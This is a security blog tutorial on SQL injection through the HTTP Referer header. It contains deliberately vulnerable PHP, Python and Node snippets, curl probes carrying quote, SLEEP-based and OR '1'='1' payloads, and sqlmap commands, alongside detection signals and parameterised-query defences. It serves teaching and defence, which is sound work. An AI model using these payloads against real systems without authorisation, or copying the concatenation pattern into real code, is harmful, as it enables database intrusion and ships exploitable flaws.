TechEarl

Referer Header SQL Injection: A Practical Guide

Referer-header SQL injection lives in click-attribution tables, marketing analytics, and anti-CSRF logging. Same shape as User-Agent injection but distinct enough to need its own treatment. Vulnerable code, curl exploit, sqlmap commands, defence.

Ishan Karunaratne⏱️ 6 min readUpdated
Share thisCopied
Referer-header SQL injection in click-attribution, analytics, anti-CSRF logging. Vulnerable code, curl exploit, sqlmap commands, defence.

Referer-header SQL injection is the close cousin of User-Agent SQL injection: same shape, same INSERT-into-an-analytics-table pattern, slightly different code locations. The Referer header reports the page that linked to (or otherwise referenced) the current request, and apps store it for click-attribution, marketing analytics, anti-CSRF logging, and "where do our users come from" dashboards. Every one of those storage paths is a candidate for SQL injection if the developer concatenated the value into the query.

This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map. If you have already read the User-Agent deep dive, most of this will feel familiar; the differences are in the storage contexts and the sqlmap flag tuning.

In short: Referer-header SQL injection is the case where an application reads the Referer HTTP request header and concatenates the value into a SQL query, almost always inside marketing-attribution logging, anti-CSRF write-throughs, or click analytics. The exploit pattern is identical to User-Agent injection: one curl command with a crafted -H "Referer: ..." value. The fix is one parameterised query plus a URL-shape validation (urllib.parse.urlparse in Python). sqlmap tests Referer only at --level=3 or higher, or explicitly with --referer='https://x.test/*' using sqlmap's universal * injection-point marker. This vector shares all the same code paths as User-Agent injection, so an audit that finds one usually finds the other in the same middleware.

Where does Referer SQL injection actually show up?

  1. Click-attribution analytics. "Where did this user come from?" Writes referer per session or per request to an attribution or traffic_sources table.
  2. Marketing campaign tracking. "Which campaigns drive signups?" The signup form handler reads Referer, writes it to a signups.referrer column.
  3. Anti-CSRF logging. "Log every POST request where the Referer does not match our own origin." The logging writes the unexpected Referer value.
  4. Spam and abuse detection. "Is this Referer on our blocklist?" Lookup against a referer_blocklist table.

The marketing-campaign-tracking case is the most exposed. Marketing analytics plugins from 2015-2019 had a string of CVEs for exactly this pattern: hand-rolled INSERT into a tracking table with the Referer concatenated.

The vulnerable code

PHP, the campaign-tracking case:

php
$referer = $_SERVER['HTTP_REFERER'] ?? '';

$sql = "INSERT INTO signups (email, referrer, signed_up_at)
        VALUES (?, '$referer', NOW())";
$stmt = $pdo->prepare($sql);
$stmt->execute([$email]);

Same bug as the User-Agent case: prepared statement used for some columns, not for the Referer.

Python with Flask:

python
referer = request.headers.get('Referer', '')
db.execute(
    f"INSERT INTO signups (email, referrer) VALUES ('{email}', '{referer}')"
)

Node.js with Express:

javascript
const referer = req.headers.referer || '';
await pool.query(
  `INSERT INTO signups (email, referrer) VALUES ($1, '${referer}')`,
  [email]
);

Why developers think it's safe

The mental model failure is identical to User-Agent injection. The Referer feels like infrastructure: it is set by the browser, the developer never asked the user to type it, so it must be safe. It is not. Any HTTP client can send any value. The browser is one of many possible clients.

A second pattern specific to Referer: developers validate the Referer matches their own origin (for CSRF protection) on the API endpoint, then log the request to a different table without re-validating. The validation step never wrote anywhere; the logging step did. The bug lives in the logger.

A third pattern: developers strip query strings from the Referer ("we do not want to leak query params") before storage. Stripping is not sanitisation. The path component still contains whatever the attacker wanted to put there. Single quotes survive trivially.

How do you test the Referer header for SQL injection by hand?

For an INSERT context (the common case), boolean probes do not produce a visible response difference. Use error-trigger first:

bash
curl -i \
  -H "Referer: https://example.test/page'" \
  "https://target.example/signup" 2>&1 | grep -E '500|error'

A 500 response means the quote landed in a SQL context.

Time-based:

bash
curl -w "%{time_total}\n" \
  -H "Referer: https://x.test/', (SELECT SLEEP(5)), '" \
  "https://target.example/signup"

5+ second response confirms it.

For a SELECT context (anti-CSRF logging that reads Referer back, or a referer-blocklist lookup), boolean probes work:

bash
curl -s -H "Referer: https://example.test/' OR '1'='1" \
  "https://target.example/api/action" \
  -o probe.html
diff baseline.html probe.html | head

What is the sqlmap command for Referer injection?

Discovery with --level=3:

bash
sqlmap -u "https://target.example/signup" \
  --data="email=test@test.test" \
  --level=3 --batch --random-agent

--level=3 enables Referer and User-Agent testing per the sqlmap official Usage wiki.

Explicit Referer targeting:

bash
sqlmap -u "https://target.example/signup" \
  --data="email=test@test.test" \
  --referer="https://example.test/*" \
  --batch

The * marks the injection point.

Test only the Referer parameter, faster:

bash
sqlmap -u "https://target.example/signup" \
  --data="email=test@test.test" \
  -p referer --level=3 --batch

Once injection is confirmed, the enumeration sequence is identical to every other vector. See the sqlmap cheat sheet.

Detection signals

  • Referer values containing SQL syntax. Quotes, dashes, parentheses, keywords. Legitimate Referers are URLs; any value that does not parse as a URL is suspicious.
  • Referer values longer than ~500 bytes. Real URLs cap well below that. Exploitation payloads are usually larger.
  • Referer values pointing to obviously crafted hostnames (evil.example, attacker.test). Not always indicative of an exploit attempt, but worth noting in audit logs.
  • The standard rule: information_schema reads from the application user.

How do you defend against Referer SQL injection?

Parameterise the INSERT (the OWASP SQL Injection Prevention Cheat Sheet covers every stack):

python
db.execute(
    "INSERT INTO signups (email, referrer) VALUES (?, ?)",
    (email, request.headers.get('Referer', '')[:500])
)

Validate the value is a URL (rejects most non-URL payloads):

python
from urllib.parse import urlparse

def safe_referer(raw):
    if not raw:
        return ''
    try:
        u = urlparse(raw)
        if u.scheme in ('http', 'https') and u.netloc:
            return raw[:500]
    except ValueError:
        pass
    return ''

Truncate to a sensible length before storage. 500 bytes accommodates legitimate URLs (which top out around 200 bytes for normal use) and rejects payloads that need to carry SQL plus extraction logic.

Defence at the infrastructure level

  • Schema constraint. Declare the referer / referrer column as VARCHAR(500) or similar. The database enforces the cap.
  • Least-privilege database user for the analytics path. INSERT into one table, nothing else.
  • WAF rules on Referer payload patterns. Defence in depth.

Common defence mistakes

  1. Stripping query strings and considering the Referer "cleaned". Stripping is not sanitisation. The path component still carries whatever the attacker wanted.
  2. Validating Referer matches your own origin (for CSRF) and assuming logging is also safe. Two separate code paths. Both need their own defence.
  3. URL-encoding the value and trusting the encoded form. URL encoding survives concatenation. %27 decodes to ' inside the database string the moment the value is used. Defence is parameterisation.
  4. Logging the value before parameterising other DB writes for the same request. Order of operations: validate, parameterise, then write everywhere.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsSQL InjectionRefererHTTP HeadersWeb SecuritysqlmapApplication Security

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Software Systems Architect · Senior Software Engineer · Engineering Leadership

Software systems architect and senior software engineer with more than two decades designing, building, and running production software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Now a CTO, though what I write here is drawn from the full arc of that work, across architecture, engineering, and operations, not any single job.

Keep reading

Related posts

A practical guide to the JavaScript fetch() API: the request/response model, checking response.ok because fetch does not reject on 4xx/5xx, parsing JSON, headers, methods, bodies, and credentials, in the browser and in Node 18+.

The fetch() API: A Practical Guide

A practical guide to the fetch() API: the request/response model, why response.json() returns a promise, and the one surprise that bites everyone, fetch does not reject on 404 or 500. Plus headers, methods, bodies, credentials, and why fetch is now global in Node 18+.

How the 2023 MOVEit breach (CVE-2023-34362) used a SQL injection zero-day and the LEMURLOOT web shell to hit thousands of organisations. The attack chain.

The MOVEit Breach: SQL Injection at Supply-Chain Scale

In 2023 the Cl0p gang exploited a SQL injection zero-day in MOVEit Transfer to breach thousands of organisations and tens of millions of people in weeks. It is proof that SQL injection still causes the largest breaches, and a lesson in managed-file-transfer supply-chain risk. A post-mortem of the attack chain.

Host-header SQL injection in multi-tenant SaaS routing. Vulnerable tenant-lookup code, manual exploit, sqlmap commands, the defence.

Host Header SQL Injection: Multi-Tenant Routing Gone Wrong

Host header SQL injection happens in multi-tenant SaaS apps that look up the tenant by hostname. Same pattern applies to X-Forwarded-Host. The vulnerable code, how to test it by hand, the sqlmap one-liner, and the defence that scales with tenant count.